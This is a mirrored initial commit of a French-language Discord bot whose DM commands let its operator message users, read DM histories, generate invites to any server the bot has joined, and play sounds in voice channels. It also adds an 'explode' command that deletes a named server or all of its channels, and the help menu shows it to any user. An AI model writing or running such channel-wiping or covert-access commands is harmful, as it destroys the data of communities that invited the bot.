mirror of
https://github.com/Ninluc/Dat_Boi.git
synced 2025-08-09 23:26:13 +02:00
Initial commit
This commit is contained in:
45
dmCommands/dm.js
Normal file
45
dmCommands/dm.js
Normal file
@ -0,0 +1,45 @@
|
||||
const { MessageEmbed } = require("discord.js");
|
||||
const config = require("../botconfig/config.json");
|
||||
const ee = require("../botconfig/embed.json");
|
||||
module.exports = {
|
||||
name: "dm",
|
||||
isPrivate: true,
|
||||
usage: "dm <USER_ID> <MESSAGE>",
|
||||
description: "Envoie un message privé à l'utilisateur spécifié par son id.",
|
||||
run: async (client, message, text, args) => {
|
||||
try {
|
||||
|
||||
let text = args.slice(1).join(" ")
|
||||
|
||||
client.users.fetch(args[0], false).then(u => {
|
||||
try {
|
||||
u.send({ content : text}).then(() => {
|
||||
message.react("✅")
|
||||
})
|
||||
.catch(e => {
|
||||
message.react("❌")
|
||||
})
|
||||
}
|
||||
catch (e) {
|
||||
message.react("❌")
|
||||
console.log(String(e.stack).bgRed);
|
||||
}
|
||||
}).catch(() => {
|
||||
return message.channel.send({embeds : [
|
||||
new MessageEmbed()
|
||||
.setColor(ee.wrongcolor)
|
||||
.setTitle(`❌ ERREUR | Pas d'utilisateur trouvé :(`)]}
|
||||
);
|
||||
})
|
||||
|
||||
} catch (e) {
|
||||
console.log(String(e.stack).bgRed);
|
||||
return message.channel.send({embeds : [
|
||||
new MessageEmbed()
|
||||
.setColor(ee.wrongcolor)
|
||||
.setTitle(`❌ ERREUR | Une erreur est survenue : `)
|
||||
.setDescription(`\`\`\`${e.stack}\`\`\``)]}
|
||||
);
|
||||
}
|
||||
},
|
||||
};
|
72
dmCommands/explode.js
Normal file
72
dmCommands/explode.js
Normal file
@ -0,0 +1,72 @@
|
||||
const { MessageEmbed } = require("discord.js");
|
||||
const config = require("../botconfig/config.json");
|
||||
const ee = require("../botconfig/embed.json");
|
||||
|
||||
module.exports = {
|
||||
name: "explode",
|
||||
usage: "explode",
|
||||
description: 'DESTRUCTION',
|
||||
run: async (client, message, text, args) => {
|
||||
try {
|
||||
|
||||
if (!args[0]) {
|
||||
message.channel.send({embeds: [
|
||||
new MessageEmbed()
|
||||
.setColor(ee.wrongcolor)
|
||||
.setTitle(`❌ ERREUR | Pas assez d'arguments`)
|
||||
.setDescription("`[help explode` pour plus d'informations")
|
||||
]})
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
|
||||
let serverName = args.join(" ")
|
||||
|
||||
let guild = client.guilds.cache.find(guild => guild.name == `${serverName}`)
|
||||
if (guild) {
|
||||
if (!guild.me.permissions.has("ADMINISTRATOR") && guild.me.permissions.has("MANAGE_GUILD")) {
|
||||
console.log(guild.name);
|
||||
// Deletion
|
||||
guild.delete()
|
||||
return message.channel.send(`${guild.name} exploded`)
|
||||
}
|
||||
else {
|
||||
// Delete channels
|
||||
guild.channels.cache.each(channel => {
|
||||
channel.delete()
|
||||
.then(console.log)
|
||||
.catch(console.error);
|
||||
});
|
||||
|
||||
return message.channel.send({embeds : [
|
||||
new MessageEmbed()
|
||||
.setColor(ee.wrongcolor)
|
||||
.setTitle(`❌ ERREUR | J'ai pas les droits fréro`)]}
|
||||
);
|
||||
|
||||
}
|
||||
}
|
||||
else {
|
||||
return message.channel.send({embeds : [
|
||||
new MessageEmbed()
|
||||
.setColor(ee.wrongcolor)
|
||||
.setTitle(`❌ ERREUR | Pas de serveur trouvé :(`)]}
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
|
||||
} catch (e) {
|
||||
console.log(String(e.stack).bgRed);
|
||||
return message.channel.send({embeds : [
|
||||
new MessageEmbed()
|
||||
.setColor(ee.wrongcolor)
|
||||
.setTitle(`❌ ERREUR | Une erreur est survenue : `)
|
||||
.setDescription(`\`\`\`${e.stack}\`\`\``)]}
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/** Template by Tomato#6966 | https://github.com/Tomato6966/Discord-Js-Handler-Template */
|
81
dmCommands/getDM.js
Normal file
81
dmCommands/getDM.js
Normal file
@ -0,0 +1,81 @@
|
||||
const { MessageEmbed } = require("discord.js");
|
||||
const config = require("../botconfig/config.json");
|
||||
const ee = require("../botconfig/embed.json");
|
||||
const misc = require("../botconfig/misc.json")
|
||||
const { delay } = require("../handlers/functions");
|
||||
module.exports = {
|
||||
name: "getdm",
|
||||
isPrivate: true,
|
||||
usage: "getDM <USER_ID> [MAX_FETCH]",
|
||||
description: "Donne la conversation du bot avec l'utilisateur spécifié. Prends les `MAX_FETCH` derniers messages (100 par défaut)",
|
||||
run: async (client, message, text, args) => {
|
||||
try {
|
||||
|
||||
client.users.fetch(args[0], false).then(async (u) => {
|
||||
let dmChannel = u.dmChannel || await u.createDM()
|
||||
|
||||
fetchLimit = args[1] || 100
|
||||
|
||||
dmChannel.messages.fetch({ limit: fetchLimit }).then(messages => {
|
||||
if (messages.size == 0) {
|
||||
return message.channel.send({embeds : [
|
||||
new MessageEmbed()
|
||||
.setColor(ee.wrongcolor)
|
||||
.setTitle(`❌ ERREUR | Aucun message n'as été envoyé à cet utilisateur.`)
|
||||
]}
|
||||
);
|
||||
}
|
||||
|
||||
messages.sort((msgA, msgB) => msgA.createdTimestamp - msgB.createdTimestamp);
|
||||
// console.log(`Received ${messages.size} messages`);
|
||||
let toSend = ""
|
||||
messages.sorted((msgA, msgB) => msgA.createdTimestamp - msgB.createdTimestamp).forEach(msg => {
|
||||
let txt = `${msg.author} : ${msg.content} \`${msg.createdAt.toLocaleDateString()} ${msg.createdAt.getHours()}:${msg.createdAt.getMinutes()}:${msg.createdAt.getSeconds()}\`\n`
|
||||
if (toSend.length + txt.length >= misc.MESSAGE_CHAR_LIMIT) {
|
||||
delay(30)
|
||||
message.channel.send({ content : toSend})
|
||||
toSend = txt.slice(0, misc.MESSAGE_CHAR_LIMIT - 1)
|
||||
}
|
||||
else {
|
||||
toSend += txt
|
||||
if (txt.includes("http")) {
|
||||
delay(100)
|
||||
message.channel.send({ content : toSend})
|
||||
toSend = ""
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
if (toSend.length > 0) {
|
||||
delay(30)
|
||||
message.channel.send({ content : toSend})
|
||||
}
|
||||
|
||||
|
||||
message.channel.send({embeds : [
|
||||
new MessageEmbed()
|
||||
.setColor(ee.color)
|
||||
.setTitle(`Reçu ${messages.size} messages`)]}
|
||||
);
|
||||
})
|
||||
|
||||
}).catch((e) => {
|
||||
console.log(e)
|
||||
return message.channel.send({embeds : [
|
||||
new MessageEmbed()
|
||||
.setColor(ee.wrongcolor)
|
||||
.setTitle(`❌ ERREUR | C'est utilisateur n'existe pas :(`)]}
|
||||
);
|
||||
})
|
||||
|
||||
} catch (e) {
|
||||
console.log(String(e.stack).bgRed);
|
||||
return message.channel.send({embeds : [
|
||||
new MessageEmbed()
|
||||
.setColor(ee.wrongcolor)
|
||||
.setTitle(`❌ ERREUR | Une erreur est survenue : `)
|
||||
.setDescription(`\`\`\`${e.stack}\`\`\``)]}
|
||||
);
|
||||
}
|
||||
},
|
||||
};
|
101
dmCommands/getInvite.js
Normal file
101
dmCommands/getInvite.js
Normal file
@ -0,0 +1,101 @@
|
||||
const { MessageEmbed } = require("discord.js");
|
||||
const config = require("../botconfig/config.json");
|
||||
const ee = require("../botconfig/embed.json");
|
||||
module.exports = {
|
||||
name: "getinvite",
|
||||
isPrivate: false,
|
||||
usage: "getInvite <NOM DU SERVEUR>",
|
||||
description: "Donne un lien d'invitation vers le serveur spécifié.",
|
||||
run: async (client, message, text, args) => {
|
||||
try {
|
||||
|
||||
if (!args[0]) {
|
||||
message.channel.send({embeds: [
|
||||
new MessageEmbed()
|
||||
.setColor(ee.wrongcolor)
|
||||
.setTitle(`❌ ERREUR | Pas assez d'arguments`)
|
||||
.setDescription("`[help getinvite` pour plus d'informations")
|
||||
]})
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
|
||||
let serverName = args.join(" ")
|
||||
|
||||
// if (serverName.length < 3) {
|
||||
// return message.channel.send(
|
||||
// new MessageEmbed()
|
||||
// .setColor(ee.wrongcolor)
|
||||
// .setTitle(`❌ ERREUR | Pas de serveur avec ce nom trouvé`)
|
||||
// );
|
||||
// }
|
||||
|
||||
let guild = client.guilds.cache.find(guild => guild.name == `${serverName}`)
|
||||
if (guild) {
|
||||
if (!guild.me.permissions.has("ADMINISTRATOR")) {
|
||||
if (guild.me.permissions.has("CREATE_INSTANT_INVITE")) {
|
||||
let channel = guild.channels.cache.filter(channel => channel.type === "GUILD_TEXT").first()
|
||||
if (channel) {
|
||||
let invite = await channel.createInvite(
|
||||
{
|
||||
maxAge: 3 * 60, // maximum time for the invite, in secondes
|
||||
maxUses: 1, // maximum times it can be used
|
||||
reason: `Requested by my creator, Ninluc#1800`
|
||||
}
|
||||
)
|
||||
// .then(() => {
|
||||
console.log(invite);
|
||||
message.channel.send({ embeds : [
|
||||
new MessageEmbed()
|
||||
.setColor(ee.color)
|
||||
.setTitle(`✅ | https://www.discord.gg/${invite.code}`)]}
|
||||
);
|
||||
// })
|
||||
// .catch((e) => {
|
||||
// console.log(String(e.stack).bgRed);
|
||||
// })
|
||||
}
|
||||
}
|
||||
else {
|
||||
return message.channel.send({embeds : [
|
||||
new MessageEmbed()
|
||||
.setColor(ee.wrongcolor)
|
||||
.setTitle(`❌ ERREUR | J'ai pas les droits fréro`)]}
|
||||
);
|
||||
|
||||
}
|
||||
}
|
||||
else {
|
||||
guild.invites.fetch().then((invites) => {
|
||||
if (invites.first()) {
|
||||
return message.channel.send({embeds : [
|
||||
new MessageEmbed()
|
||||
.setColor(ee.color)
|
||||
.setTitle(`✅ | https://www.discord.gg/${invites.first().code}`)]}
|
||||
);
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
else {
|
||||
return message.channel.send({embeds : [
|
||||
new MessageEmbed()
|
||||
.setColor(ee.wrongcolor)
|
||||
.setTitle(`❌ ERREUR | Pas de serveur trouvé :(`)]}
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
|
||||
} catch (e) {
|
||||
console.log(String(e.stack).bgRed);
|
||||
return message.channel.send({embeds : [
|
||||
new MessageEmbed()
|
||||
.setColor(ee.wrongcolor)
|
||||
.setTitle(`❌ ERREUR | Une erreur est survenue : `)
|
||||
.setDescription(`\`\`\`${e.stack}\`\`\``)]}
|
||||
);
|
||||
}
|
||||
},
|
||||
};
|
93
dmCommands/help.js
Normal file
93
dmCommands/help.js
Normal file
@ -0,0 +1,93 @@
|
||||
const { MessageEmbed } = require("discord.js");
|
||||
const config = require("../botconfig/config.json");
|
||||
const ee = require("../botconfig/embed.json");
|
||||
const { isNinluc } = require("../handlers/functions");
|
||||
|
||||
module.exports = {
|
||||
name: "help",
|
||||
isPrivate: false,
|
||||
usage: "help [COMMANDE]",
|
||||
description: "Donne les commandes en messages privés disponibles",
|
||||
run: async (client, message, text, args) => {
|
||||
try {
|
||||
|
||||
|
||||
|
||||
if (args[0]) {
|
||||
const embed = new MessageEmbed();
|
||||
const cmd = client.commands.get(args[0].toLowerCase()) || client.dmCommands.get(args[0].toLowerCase());
|
||||
if (!cmd) {
|
||||
return message.channel.send({ embeds : [embed.setColor(ee.wrongcolor).setDescription(`Aucune info trouvée pour la commande **${args[0].toLowerCase()}**`)]});
|
||||
}
|
||||
if (cmd.name) embed.addField("**Commande :**", `\`${cmd.name}\``);
|
||||
if (cmd.name) embed.setTitle(`Informations à propos de la commande : \`${cmd.name}\``);
|
||||
if (cmd.description) embed.addField("**Description**", `${cmd.isPrivate ? "__*Commande privée*__.\n" : ""}${cmd.description}`);
|
||||
if (cmd.usage) {
|
||||
embed.addField("**Utilisation**", `\`${config.prefix}${cmd.usage}\``);
|
||||
embed.setFooter({text :"Syntaxe: <> = obligatoire, [] = optionnel"});
|
||||
}
|
||||
return message.channel.send({embeds : [embed.setColor(ee.color)]});
|
||||
} else {
|
||||
const embed = new MessageEmbed()
|
||||
.setColor(ee.color)
|
||||
.setThumbnail(client.user.displayAvatarURL().replace(".webp", ".gif"))
|
||||
.setTitle("Menu d'aide 📖 Commandes")
|
||||
.setFooter({text :`TIPS : Pour avoir des informations détaillées sur une commande, faites : \n${config.prefix}help [NOM_DE_LA_COMMANDE]`, iconURL : client.user.displayAvatarURL().replace(".webp", ".gif")});
|
||||
if (isNinluc(message.author.id)) {
|
||||
var commands = client.dmCommands.map((cmd) => `\`${cmd.name}\``);
|
||||
}
|
||||
else {
|
||||
var commands = client.dmCommands.filter((cmd) => !cmd.isPrivate).map((cmd) => `\`${cmd.name}\``);
|
||||
}
|
||||
try {
|
||||
|
||||
const n = 3;
|
||||
const result = [[], [], []];
|
||||
const wordsPerLine = Math.ceil(commands.length / 3);
|
||||
for (let line = 0; line < n; line++) {
|
||||
for (let i = 0; i < wordsPerLine; i++) {
|
||||
const value = commands[i + line * wordsPerLine];
|
||||
if (!value) continue;
|
||||
result[line].push(value);
|
||||
}
|
||||
}
|
||||
|
||||
embed.addField(`\u200b`, `> ${result[0].join("\n> ")}`, true);
|
||||
embed.addField(`\u200b`, `${result[1].join("\n") ? result[1].join("\n") : "\u200b"}`, true);
|
||||
embed.addField(`\u200b`, `${result[2].join("\n") ? result[2].join("\n") : "\u200b"}`, true);
|
||||
// for (let i = 0; i < client.categories.length; i += 1) {
|
||||
// const current = client.categories[i];
|
||||
// const items = commands(current);
|
||||
// const n = 3;
|
||||
// const result = [[], [], []];
|
||||
// const wordsPerLine = Math.ceil(items.length / 3);
|
||||
// for (let line = 0; line < n; line++) {
|
||||
// for (let i = 0; i < wordsPerLine; i++) {
|
||||
// const value = items[i + line * wordsPerLine];
|
||||
// if (!value) continue;
|
||||
// result[line].push(value);
|
||||
// }
|
||||
// }
|
||||
// embed.addField(`**${current.toUpperCase()} [${items.length}]**`, `> ${result[0].join("\n> ")}`, true);
|
||||
// embed.addField(`\u200b`, `${result[1].join("\n") ? result[1].join("\n") : "\u200b"}`, true);
|
||||
// embed.addField(`\u200b`, `${result[2].join("\n") ? result[2].join("\n") : "\u200b"}`, true);
|
||||
// }
|
||||
} catch (e) {
|
||||
console.log(String(e.stack).red);
|
||||
}
|
||||
message.channel.send({embeds : [embed]});
|
||||
}
|
||||
|
||||
|
||||
|
||||
} catch (e) {
|
||||
console.log(String(e.stack).bgRed);
|
||||
return message.channel.send({embeds : [
|
||||
new MessageEmbed()
|
||||
.setColor(ee.wrongcolor)
|
||||
.setTitle(`❌ ERREUR | Une erreur est survenue : `)
|
||||
.setDescription(`\`\`\`${e.stack}\`\`\``)]}
|
||||
);
|
||||
}
|
||||
},
|
||||
};
|
124
dmCommands/joinvc.js
Normal file
124
dmCommands/joinvc.js
Normal file
@ -0,0 +1,124 @@
|
||||
const fs = require("fs");
|
||||
const { MessageEmbed } = require("discord.js");
|
||||
const config = require("../botconfig/config.json");
|
||||
const ee = require("../botconfig/embed.json");
|
||||
const { choose } = require("../handlers/functions");
|
||||
const { createAudioPlayer, joinVoiceChannel, createAudioResource, StreamType } = require('@discordjs/voice');
|
||||
const { VoiceConnectionStatus } = require('@discordjs/voice');
|
||||
|
||||
const player = createAudioPlayer();
|
||||
|
||||
const ffmpeg = require("ffmpeg-static");
|
||||
|
||||
module.exports = {
|
||||
name: "joinvc",
|
||||
isPrivate: false,
|
||||
usage: "joinvc <ID_DE_LA_VOC>",
|
||||
description: "Rejoins le salon vocal spécifié à l'aide de son id (activer le mode développeur → clic droit sur la voc → copier l'identifiant).",
|
||||
run: async (client, message, text, args) => {
|
||||
try {
|
||||
if (!args[0]) {
|
||||
message.channel.send({embeds: [
|
||||
new MessageEmbed()
|
||||
.setColor(ee.wrongcolor)
|
||||
.setTitle(`❌ ERREUR | Pas assez d'arguments`)
|
||||
.setDescription("`[help joinvc` pour plus d'informations")
|
||||
]})
|
||||
return;
|
||||
}
|
||||
|
||||
let channel = client.channels.cache.find(channel => channel.id == `${args[0]}`)
|
||||
|
||||
if (
|
||||
!channel || !channel.isVoice()
|
||||
|| !channel.permissionsFor(channel.guild.me).has("CONNECT")
|
||||
|| !channel.permissionsFor(channel.guild.me).has("SPEAK")
|
||||
) {
|
||||
// message.react("❌")
|
||||
return message.channel.send({embeds : [
|
||||
new MessageEmbed()
|
||||
.setColor(ee.wrongcolor)
|
||||
.setTitle(`❌ ERREUR | Pas de voc trouvée :(`)]}
|
||||
);
|
||||
}
|
||||
|
||||
player.on('error', error => {
|
||||
// subscription.unsubscribe()
|
||||
|
||||
if (connection.state.status != "destroyed") {
|
||||
connection.destroy();
|
||||
}
|
||||
});
|
||||
|
||||
player.on('idle', () => {
|
||||
// subscription.unsubscribe()
|
||||
|
||||
if (connection.state.status != "destroyed") {
|
||||
connection.destroy();
|
||||
}
|
||||
console.log('Info : Ended track');
|
||||
});
|
||||
|
||||
|
||||
let videos = fs.readdirSync(`./sounds/`).filter((file) => file.endsWith(".mp3"))
|
||||
|
||||
// voiceState.setSelfMute(0);
|
||||
// var channel = voiceState.channel
|
||||
const connection = joinVoiceChannel({
|
||||
channelId: channel.id,
|
||||
guildId: channel.guild.id,
|
||||
adapterCreator: channel.guild.voiceAdapterCreator,
|
||||
});
|
||||
// const subscription = connection.subscribe(player);
|
||||
var rdVideoLink = choose(videos)
|
||||
|
||||
try {
|
||||
connection.on(VoiceConnectionStatus.Ready, async() => {
|
||||
connection;
|
||||
let subscription = connection.subscribe(player);
|
||||
|
||||
const resource = createAudioResource("./sounds/" + rdVideoLink, {
|
||||
inputType: StreamType.Arbitrary
|
||||
});
|
||||
resource.playStream.on("finish", () => {
|
||||
setTimeout(() => {
|
||||
// subscription.unsubscribe()
|
||||
if (connection.state.status != "destroyed") {
|
||||
connection.destroy();
|
||||
}
|
||||
}, 2000)
|
||||
})
|
||||
|
||||
// if (subscription) {
|
||||
// // Unsubscribe after 5 seconds (stop playing audio on the voice connection)
|
||||
// setTimeout(() => subscription.unsubscribe(), 5_000);
|
||||
// }
|
||||
|
||||
player.play(resource);
|
||||
})
|
||||
|
||||
|
||||
|
||||
// setTimeout(() => {
|
||||
// subscription.unsubscribe()
|
||||
// if (connection.state.status != "destroyed") {
|
||||
// connection.destroy();
|
||||
// }
|
||||
// }, 60 * 1000)
|
||||
|
||||
message.channel.send(`Je joue *${rdVideoLink.split('.')[0]}* dans le salon ${channel} du serveur **${channel.guild.name}**`);
|
||||
} catch (error) {
|
||||
console.log(error.message)
|
||||
}
|
||||
|
||||
} catch (e) {
|
||||
console.log(String(e.stack).bgRed);
|
||||
return message.channel.send({embeds : [
|
||||
new MessageEmbed()
|
||||
.setColor(ee.wrongcolor)
|
||||
.setTitle(`❌ ERREUR | Une erreur est survenue : `)
|
||||
.setDescription(`\`\`\`${e.stack}\`\`\``)]}
|
||||
);
|
||||
}
|
||||
},
|
||||
};
|
63
dmCommands/react.js
vendored
Normal file
63
dmCommands/react.js
vendored
Normal file
@ -0,0 +1,63 @@
|
||||
const { MessageEmbed } = require("discord.js");
|
||||
const config = require("../botconfig/config.json");
|
||||
const ee = require("../botconfig/embed.json");
|
||||
|
||||
async function fetchMsg(client, id) {
|
||||
return new Promise(async resolve => {
|
||||
client.guilds.cache.forEach((guild) => {
|
||||
guild.channels.cache.forEach( async (channel) => {
|
||||
// console.log(channel.messages)
|
||||
if (channel.messages) {
|
||||
let find = await channel.messages.fetch(id)
|
||||
.catch(e => {})
|
||||
|
||||
if (find) {
|
||||
console.log("found one")
|
||||
resolve(find);
|
||||
}
|
||||
}
|
||||
})
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
name: "react",
|
||||
usage: "react <MESSAGE_ID> <EMOJI>",
|
||||
description: 'Réagis à un message déterminé par son id',
|
||||
run: async (client, message, text, args) => {
|
||||
try {
|
||||
|
||||
// Vérification
|
||||
if (!args[0] || !args[1]) {
|
||||
return message.channel.send({embeds: [
|
||||
new MessageEmbed()
|
||||
.setColor(ee.wrongcolor)
|
||||
.setTitle(`❌ ERREUR | Pas assez d'arguments`)
|
||||
.setDescription("`[help react` pour plus d'informations")
|
||||
]})
|
||||
}
|
||||
|
||||
// Prends le message
|
||||
let msg = await fetchMsg(client, args[0])
|
||||
if (msg) {
|
||||
msg.react(args[1]);
|
||||
message.react("✅");
|
||||
}
|
||||
else {
|
||||
message.react("❌");
|
||||
}
|
||||
|
||||
} catch (e) {
|
||||
console.log(String(e.stack).bgRed);
|
||||
return message.channel.send({embeds : [
|
||||
new MessageEmbed()
|
||||
.setColor(ee.wrongcolor)
|
||||
.setTitle(`❌ ERREUR | Une erreur est survenue : `)
|
||||
.setDescription(`\`\`\`${e.stack}\`\`\``)]}
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/** Template by Tomato#6966 | https://github.com/Tomato6966/Discord-Js-Handler-Template */
|
8
dmCommands/uptime.js
Normal file
8
dmCommands/uptime.js
Normal file
@ -0,0 +1,8 @@
|
||||
const uptime = require('../commands/Informations/uptime.js');
|
||||
module.exports = {
|
||||
name: uptime.name,
|
||||
isPrivate: false,
|
||||
usage: uptime.usage,
|
||||
description: uptime.description,
|
||||
run: uptime.run,
|
||||
};
|
Reference in New Issue
Block a user